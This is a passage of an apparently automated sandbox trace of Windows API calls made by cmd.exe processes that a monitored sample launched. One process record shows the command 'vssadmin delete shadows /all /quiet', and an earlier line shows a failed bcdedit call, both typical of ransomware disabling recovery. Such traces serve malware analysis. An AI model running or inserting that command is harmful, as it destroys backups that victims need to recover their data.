[0038.209] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37f7e4 | out: lpFindFileData=0x37f7e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x651ed8 [0038.209] FindClose (in: hFindFile=0x651ed8 | out: hFindFile=0x651ed8) returned 1 [0038.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37f7e4 | out: lpFindFileData=0x37f7e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x651ed8 [0038.209] FindClose (in: hFindFile=0x651ed8 | out: hFindFile=0x651ed8) returned 1 [0038.210] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37f7e4 | out: lpFindFileData=0x37f7e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x651ed8 [0038.210] FindClose (in: hFindFile=0x651ed8 | out: hFindFile=0x651ed8) returned 1 [0038.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.210] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.210] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.210] GetProcessHeap () returned 0x640000 [0038.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x654bd0 | out: hHeap=0x640000) returned 1 [0038.210] GetEnvironmentStringsW () returned 0x6540e0* [0038.210] GetProcessHeap () returned 0x640000 [0038.210] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xb36) returned 0x655f20 [0038.210] FreeEnvironmentStringsW (penv=0x6540e0) returned 1 [0038.210] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.210] GetProcessHeap () returned 0x640000 [0038.210] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x640000) returned 1 [0038.210] GetProcessHeap () returned 0x640000 [0038.210] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400e) returned 0x656a60 [0038.211] GetProcessHeap () returned 0x640000 [0038.211] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x80) returned 0x652db0 [0038.211] GetProcessHeap () returned 0x640000 [0038.211] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656a60 | out: hHeap=0x640000) returned 1 [0038.211] GetConsoleOutputCP () returned 0x1b5 [0038.860] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.860] GetUserDefaultLCID () returned 0x409 [0038.861] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.861] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x37fba8, cchData=128 | out: lpLCData="0") returned 2 [0038.861] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x37fba8, cchData=128 | out: lpLCData="0") returned 2 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x37fba8, cchData=128 | out: lpLCData="1") returned 2 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0038.862] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0038.862] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.863] GetProcessHeap () returned 0x640000 [0038.863] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20c) returned 0x652e38 [0038.863] GetConsoleTitleW (in: lpConsoleTitle=0x652e38, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.864] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.864] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0038.864] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0038.864] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0038.864] GetProcessHeap () returned 0x640000 [0038.864] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x400a) returned 0x656a60 [0038.864] GetProcessHeap () returned 0x640000 [0038.864] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x656a60 | out: hHeap=0x640000) returned 1 [0038.865] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0038.865] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0038.865] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0038.865] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0038.865] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0038.865] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0038.865] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0038.865] GetProcessHeap () returned 0x640000 [0038.865] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x58) returned 0x653050 [0038.865] GetProcessHeap () returned 0x640000 [0038.865] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x18) returned 0x6530b0 [0038.866] GetProcessHeap () returned 0x640000 [0038.866] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x6e) returned 0x6530d0 [0038.867] GetConsoleTitleW (in: lpConsoleTitle=0x37f8a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.867] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.867] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.867] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.867] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.867] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.867] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.867] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.867] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.867] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.867] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.867] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.867] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.867] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.867] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.867] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.867] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0038.868] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.868] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.868] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.868] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.868] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.868] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.868] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.868] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.868] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.868] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.868] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.868] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.868] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.868] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.868] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.868] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.868] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.868] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.868] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.868] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.868] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.868] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.868] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0038.868] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0038.868] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0038.868] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0038.868] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0038.868] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0038.868] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0038.869] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0038.869] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0038.869] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0038.869] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0038.869] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0038.869] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0038.869] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0038.869] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0038.869] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0038.869] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0038.869] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0038.869] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0038.869] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0038.869] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0038.869] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0038.869] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0038.869] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0038.869] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0038.869] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0038.869] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0038.869] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0038.869] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0038.869] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0038.869] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0038.869] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0038.869] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0038.869] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0038.869] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0038.869] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0038.869] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0038.869] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0038.869] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0038.869] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0038.869] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0038.869] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0038.869] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0038.870] GetProcessHeap () returned 0x640000 [0038.870] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x210) returned 0x653148 [0038.870] GetProcessHeap () returned 0x640000 [0038.870] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x7e) returned 0x653360 [0038.870] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0038.870] GetProcessHeap () returned 0x640000 [0038.870] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x418) returned 0x6407f0 [0038.870] SetErrorMode (uMode=0x0) returned 0x0 [0038.870] SetErrorMode (uMode=0x1) returned 0x0 [0038.870] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6407f8, lpFilePart=0x37f3c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f3c0*="Desktop") returned 0x25 [0038.870] SetErrorMode (uMode=0x0) returned 0x1 [0038.870] GetProcessHeap () returned 0x640000 [0038.870] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6407f0, Size=0x64) returned 0x6407f0 [0038.870] GetProcessHeap () returned 0x640000 [0038.870] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x6407f0) returned 0x64 [0038.871] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.871] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0038.871] GetProcessHeap () returned 0x640000 [0038.871] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x120) returned 0x6533e8 [0038.871] GetProcessHeap () returned 0x640000 [0038.871] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x238) returned 0x640860 [0038.877] GetProcessHeap () returned 0x640000 [0038.877] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x640860, Size=0x122) returned 0x640860 [0038.877] GetProcessHeap () returned 0x640000 [0038.877] RtlSizeHeap (HeapHandle=0x640000, Flags=0x0, MemoryPointer=0x640860) returned 0x122 [0038.877] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.877] GetProcessHeap () returned 0x640000 [0038.877] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0xe0) returned 0x653510 [0040.022] _get_osfhandle (_FileHandle=2) returned 0xb [0040.022] GetFileType (hFile=0xb) returned 0x2 [0040.022] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0040.022] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x37f590 | out: lpMode=0x37f590) returned 1 [0040.022] _get_osfhandle (_FileHandle=2) returned 0xb [0040.022] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x37f5c4 | out: lpConsoleScreenBufferInfo=0x37f5c4) returned 1 [0040.023] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0040.023] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x37f5e8, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x37f5e8*=0x62) returned 1 [0040.023] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.023] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.023] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.024] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0040.024] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.024] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0040.024] SetConsoleInputExeNameW () returned 0x1 [0040.024] GetConsoleOutputCP () returned 0x1b5 [0040.024] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0040.024] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.024] exit (_Code=1) Process: id = "27" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x31f98000" os_pid = "0x3c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xbf8 [0037.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32fe44 | out: lpSystemTimeAsFileTime=0x32fe44*(dwLowDateTime=0xa78a7d00, dwHighDateTime=0x1d5e09d)) [0037.983] GetCurrentProcessId () returned 0x3c8 [0037.983] GetCurrentThreadId () returned 0xbf8 [0037.983] GetTickCount () returned 0x11549cd [0037.983] QueryPerformanceCounter (in: lpPerformanceCount=0x32fe3c | out: lpPerformanceCount=0x32fe3c*=17985418429) returned 1 [0037.984] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0037.984] __set_app_type (_Type=0x1) [0037.984] __p__fmode () returned 0x76be31f4 [0037.984] __p__commode () returned 0x76be31fc [0037.984] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0037.984] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0037.985] GetCurrentThreadId () returned 0xbf8 [0037.985] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xbf8) returned 0x60 [0037.985] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0037.985] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0037.985] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.985] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0037.985] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fdd4 | out: phkResult=0x32fdd4*=0x0) returned 0x2 [0037.985] VirtualQuery (in: lpAddress=0x32fe0b, lpBuffer=0x32fda4, dwLength=0x1c | out: lpBuffer=0x32fda4*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.985] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fda4, dwLength=0x1c | out: lpBuffer=0x32fda4*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0037.986] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fda4, dwLength=0x1c | out: lpBuffer=0x32fda4*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0037.986] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32fda4, dwLength=0x1c | out: lpBuffer=0x32fda4*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.986] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fda4, dwLength=0x1c | out: lpBuffer=0x32fda4*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0037.986] GetConsoleOutputCP () returned 0x1b5 [0037.986] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0037.986] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0037.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.986] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0037.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.986] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0037.986] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.986] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.987] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.987] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0037.988] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.988] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0037.988] GetEnvironmentStringsW () returned 0x382018* [0037.988] GetProcessHeap () returned 0x370000 [0037.988] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xaca) returned 0x382af0 [0037.988] FreeEnvironmentStringsW (penv=0x382018) returned 1 [0037.988] GetProcessHeap () returned 0x370000 [0037.988] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0x4) returned 0x380c50 [0037.988] GetEnvironmentStringsW () returned 0x382018* [0037.988] GetProcessHeap () returned 0x370000 [0037.988] RtlAllocateHeap (HeapHandle=0x370000, Flags=0x8, Size=0xaca) returned 0x3835c8 [0037.988] FreeEnvironmentStringsW (penv=0x382018) returned 1 [0037.988] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ed44 | out: phkResult=0x32ed44*=0x68) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x0, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x1, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x1, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x0, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x40, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x40, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x40, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegCloseKey (hKey=0x68) returned 0x0 [0037.989] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ed44 | out: phkResult=0x32ed44*=0x68) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x40, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x4, lpData=0x32ed50*=0x1, lpcbData=0x32ed48*=0x4) returned 0x0 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, lpcbData=0x32ed48*=0x1000 | out: lpType=0x32ed4c*=0x0, lpData=0x32ed50*=0x1, lpcbData=0x32ed48*=0x1000) returned 0x2 [0037.989] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ed4c, lpData=0x32ed50, 